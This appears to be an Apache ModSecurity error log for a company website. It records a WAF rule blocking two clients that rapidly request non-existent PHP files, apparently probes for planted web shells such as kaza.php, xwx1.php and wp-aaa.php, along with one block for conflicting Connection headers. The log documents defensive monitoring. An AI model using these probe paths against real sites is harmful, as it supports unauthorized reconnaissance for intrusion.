[Sun Mar 22 19:00:32.185646 2026] [:error] [pid 51362:tid 51425] [client 68.221.64.113:43739] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "ab_L0MOwPm3DXzTDjUeb9wAAAFg"]
[Sun Mar 22 19:00:33.328392 2026] [:error] [pid 40039:tid 40047] [client 68.221.64.113:4127] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "ab_L0R3aDgUJfBYishmiGwAAAQY"]
[Sun Mar 22 19:00:33.974930 2026] [:error] [pid 51362:tid 51413] [client 68.221.64.113:34182] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "ab_L0cOwPm3DXzTDjUeb_gAAAEw"]
[Sun Mar 22 19:00:35.150797 2026] [:error] [pid 51362:tid 51425] [client 68.221.64.113:50799] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-aaa.php"] [unique_id "ab_L08OwPm3DXzTDjUecBQAAAFg"]
[Sun Mar 22 19:00:36.134204 2026] [:error] [pid 51362:tid 51405] [client 68.221.64.113:4136] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "ab_L1MOwPm3DXzTDjUecDQAAAEQ"]
[Sun Mar 22 19:00:37.126917 2026] [:error] [pid 30166:tid 30186] [client 68.221.64.113:39475] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "ab_L1bm4_26jKMD0zy3MogAAAUs"]
[Sun Mar 22 19:00:37.882005 2026] [:error] [pid 51363:tid 51451] [client 68.221.64.113:20965] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "ab_L1Vwa9x6OCTRkhl2ExwAAAJU"]
[Sun Mar 22 19:00:38.533547 2026] [:error] [pid 40039:tid 40062] [client 68.221.64.113:50768] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "ab_L1h3aDgUJfBYishmiIwAAARU"]
[Sun Mar 22 19:00:39.550930 2026] [:error] [pid 40039:tid 40064] [client 68.221.64.113:50792] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ab_L1x3aDgUJfBYishmiKAAAARc"]
[Sun Mar 22 19:00:40.223117 2026] [:error] [pid 30166:tid 30185] [client 68.221.64.113:20150] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ab_L2Lm4_26jKMD0zy3MqAAAAUo"]
[Sun Mar 22 19:00:41.250870 2026] [:error] [pid 40039:tid 40063] [client 68.221.64.113:23021] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ab_L2R3aDgUJfBYishmiLQAAARY"]
[Sun Mar 22 19:00:42.518132 2026] [:error] [pid 40039:tid 40049] [client 68.221.64.113:34215] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about3.php"] [unique_id "ab_L2h3aDgUJfBYishmiMQAAAQg"]
[Sun Mar 22 19:00:43.720510 2026] [:error] [pid 51361:tid 51395] [client 68.221.64.113:26412] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "ab_L2xXYUsdvKC9YWpXSlAAAABY"]
[Sun Mar 22 19:00:44.768615 2026] [:error] [pid 51468:tid 51495] [client 68.221.64.113:4126] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "ab_L3E2TppSvA8W5CBQ9ZQAAANM"]
[Sun Mar 22 19:00:45.449379 2026] [:error] [pid 51468:tid 51485] [client 68.221.64.113:4407] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "ab_L3U2TppSvA8W5CBQ9ZgAAAMk"]
[Sun Mar 22 19:00:46.166874 2026] [:error] [pid 51363:tid 51443] [client 68.221.64.113:30732] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "ab_L3lwa9x6OCTRkhl2E2gAAAI4"]
[Sun Mar 22 19:00:46.969817 2026] [:error] [pid 51363:tid 51442] [client 68.221.64.113:4368] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CLA.php"] [unique_id "ab_L3lwa9x6OCTRkhl2E3gAAAI0"]
[Sun Mar 22 19:00:47.714925 2026] [:error] [pid 51362:tid 51413] [client 68.221.64.113:14474] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CLA.php"] [unique_id "ab_L38OwPm3DXzTDjUecSQAAAEw"]
[Sun Mar 22 19:00:48.471460 2026] [:error] [pid 51362:tid 51417] [client 68.221.64.113:53619] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CLA.php"] [unique_id "ab_L4MOwPm3DXzTDjUecTAAAAFA"]
[Sun Mar 22 19:00:49.170623 2026] [:error] [pid 30166:tid 30185] [client 68.221.64.113:4352] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CLA.php"] [unique_id "ab_L4bm4_26jKMD0zy3MuAAAAUo"]
[Sun Mar 22 19:00:49.953042 2026] [:error] [pid 30166:tid 30170] [client 68.221.64.113:34237] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/des.php"] [unique_id "ab_L4bm4_26jKMD0zy3MvAAAAUA"]
[Sun Mar 22 19:00:51.063102 2026] [:error] [pid 51363:tid 51450] [client 68.221.64.113:30728] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/des.php"] [unique_id "ab_L41wa9x6OCTRkhl2E5AAAAJQ"]
[Sun Mar 22 19:00:52.897525 2026] [:error] [pid 51363:tid 51434] [client 68.221.64.113:53622] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/des.php"] [unique_id "ab_L5Fwa9x6OCTRkhl2E6gAAAIY"]
[Sun Mar 22 19:00:54.822395 2026] [:error] [pid 51363:tid 51450] [client 68.221.64.113:11510] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/des.php"] [unique_id "ab_L5lwa9x6OCTRkhl2E9AAAAJQ"]
[Sun Mar 22 19:00:56.217943 2026] [:error] [pid 30166:tid 30182] [client 68.221.64.113:50755] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kaza.php"] [unique_id "ab_L6Lm4_26jKMD0zy3MyAAAAUc"]
[Sun Mar 22 19:00:57.182922 2026] [:error] [pid 51363:tid 51442] [client 68.221.64.113:4757] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kaza.php"] [unique_id "ab_L6Vwa9x6OCTRkhl2E-wAAAI0"]
[Sun Mar 22 19:00:57.973328 2026] [:error] [pid 40039:tid 40059] [client 68.221.64.113:4772] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kaza.php"] [unique_id "ab_L6R3aDgUJfBYishmiWAAAARI"]
[Sun Mar 22 19:00:58.743359 2026] [:error] [pid 51363:tid 51447] [client 68.221.64.113:33587] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kaza.php"] [unique_id "ab_L6lwa9x6OCTRkhl2FBQAAAJE"]
[Sun Mar 22 19:00:59.457186 2026] [:error] [pid 51363:tid 51441] [client 68.221.64.113:18197] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file51.php"] [unique_id "ab_L61wa9x6OCTRkhl2FDAAAAIw"]
[Sun Mar 22 19:01:00.480116 2026] [:error] [pid 51362:tid 51415] [client 68.221.64.113:15130] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file51.php"] [unique_id "ab_L7MOwPm3DXzTDjUecbQAAAE4"]
[Sun Mar 22 19:01:01.335945 2026] [:error] [pid 51362:tid 51412] [client 68.221.64.113:52836] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file51.php"] [unique_id "ab_L7cOwPm3DXzTDjUeccQAAAEs"]
[Sun Mar 22 19:01:02.336899 2026] [:error] [pid 51468:tid 51478] [client 68.221.64.113:11409] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file51.php"] [unique_id "ab_L7k2TppSvA8W5CBQ9kgAAAMI"]
[Sun Mar 22 19:01:04.416342 2026] [:error] [pid 51468:tid 51500] [client 68.221.64.113:19762] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blurbs15.php"] [unique_id "ab_L8E2TppSvA8W5CBQ9lwAAANg"]
[Sun Mar 22 19:01:05.493076 2026] [:error] [pid 51468:tid 51476] [client 68.221.64.113:38878] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blurbs15.php"] [unique_id "ab_L8U2TppSvA8W5CBQ9mwAAAMA"]
[Sun Mar 22 19:01:06.260192 2026] [:error] [pid 40039:tid 40044] [client 68.221.64.113:19717] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blurbs15.php"] [unique_id "ab_L8h3aDgUJfBYishmiZgAAAQM"]
[Sun Mar 22 19:01:06.994397 2026] [:error] [pid 51363:tid 51450] [client 68.221.64.113:27124] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blurbs15.php"] [unique_id "ab_L8lwa9x6OCTRkhl2FGgAAAJQ"]
[Sun Mar 22 19:01:07.987089 2026] [:error] [pid 51363:tid 51433] [client 68.221.64.113:25415] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ab_L81wa9x6OCTRkhl2FHAAAAIU"]
[Sun Mar 22 19:01:08.747725 2026] [:error] [pid 51361:tid 51387] [client 68.221.64.113:4970] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ab_L9BXYUsdvKC9YWpXSngAAAA8"]
[Sun Mar 22 19:01:10.037772 2026] [:error] [pid 40039:tid 40049] [client 68.221.64.113:24889] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ab_L9h3aDgUJfBYishmiagAAAQg"]
[Sun Mar 22 19:01:10.864613 2026] [:error] [pid 51362:tid 51417] [client 68.221.64.113:4226] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless11.php"] [unique_id "ab_L9sOwPm3DXzTDjUec5AAAAFA"]
[Sun Mar 22 19:01:12.005437 2026] [:error] [pid 51362:tid 51406] [client 68.221.64.113:29259] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/security.php"] [unique_id "ab_L-MOwPm3DXzTDjUec7QAAAEU"]
[Sun Mar 22 19:01:12.904667 2026] [:error] [pid 51361:tid 51392] [client 68.221.64.113:55152] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/security.php"] [unique_id "ab_L-BXYUsdvKC9YWpXSoQAAABQ"]
[Sun Mar 22 19:01:13.607240 2026] [:error] [pid 51363:tid 51452] [client 68.221.64.113:55141] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/security.php"] [unique_id "ab_L-Vwa9x6OCTRkhl2FJwAAAJY"]
[Sun Mar 22 19:01:14.828415 2026] [:error] [pid 51362:tid 51422] [client 68.221.64.113:33839] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/security.php"] [unique_id "ab_L-sOwPm3DXzTDjUec9AAAAFU"]
[Sun Mar 22 19:01:16.047517 2026] [:error] [pid 30166:tid 30188] [client 68.221.64.113:41470] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "ab_L_Lm4_26jKMD0zy3M3AAAAU0"]
[Sun Mar 22 19:01:17.000970 2026] [:error] [pid 51363:tid 51436] [client 68.221.64.113:4258] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "ab_L_Fwa9x6OCTRkhl2FLwAAAIc"]
[Sun Mar 22 20:01:28.247615 2026] [:error] [pid 40039:tid 40061] [client 49.51.253.83:52616] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ab_aGB3aDgUJfBYishmvygAAARQ"]
[Sun Mar 22 20:22:05.766815 2026] [:error] [pid 51363:tid 51452] [client 172.213.208.27:10210] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "ab_e7Vwa9x6OCTRkhl25-wAAAJY"]
[Sun Mar 22 20:22:06.745745 2026] [:error] [pid 30166:tid 30186] [client 172.213.208.27:43346] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "ab_e7rm4_26jKMD0zy3ryQAAAUs"]
[Sun Mar 22 20:22:07.518655 2026] [:error] [pid 30166:tid 30173] [client 172.213.208.27:13327] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "ab_e77m4_26jKMD0zy3rzQAAAUI"]
[Sun Mar 22 20:22:08.750460 2026] [:error] [pid 51468:tid 51484] [client 172.213.208.27:9089] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fyiiz.php"] [unique_id "ab_e8E2TppSvA8W5CBRUOgAAAMg"]
[Sun Mar 22 20:22:09.401490 2026] [:error] [pid 51361:tid 51377] [client 172.213.208.27:11273] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "ab_e8RXYUsdvKC9YWpXgvAAAAAY"]
[Sun Mar 22 20:22:10.683431 2026] [:error] [pid 40039:tid 40052] [client 172.213.208.27:10879] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "ab_e8h3aDgUJfBYishm06wAAAQs"]
[Sun Mar 22 20:22:12.031572 2026] [:error] [pid 51362:tid 51409] [client 172.213.208.27:10221] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "ab_e9MOwPm3DXzTDjUfBJAAAAEg"]
[Sun Mar 22 20:22:12.792776 2026] [:error] [pid 51361:tid 51378] [client 172.213.208.27:43331] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "ab_e9BXYUsdvKC9YWpXgvwAAAAc"]
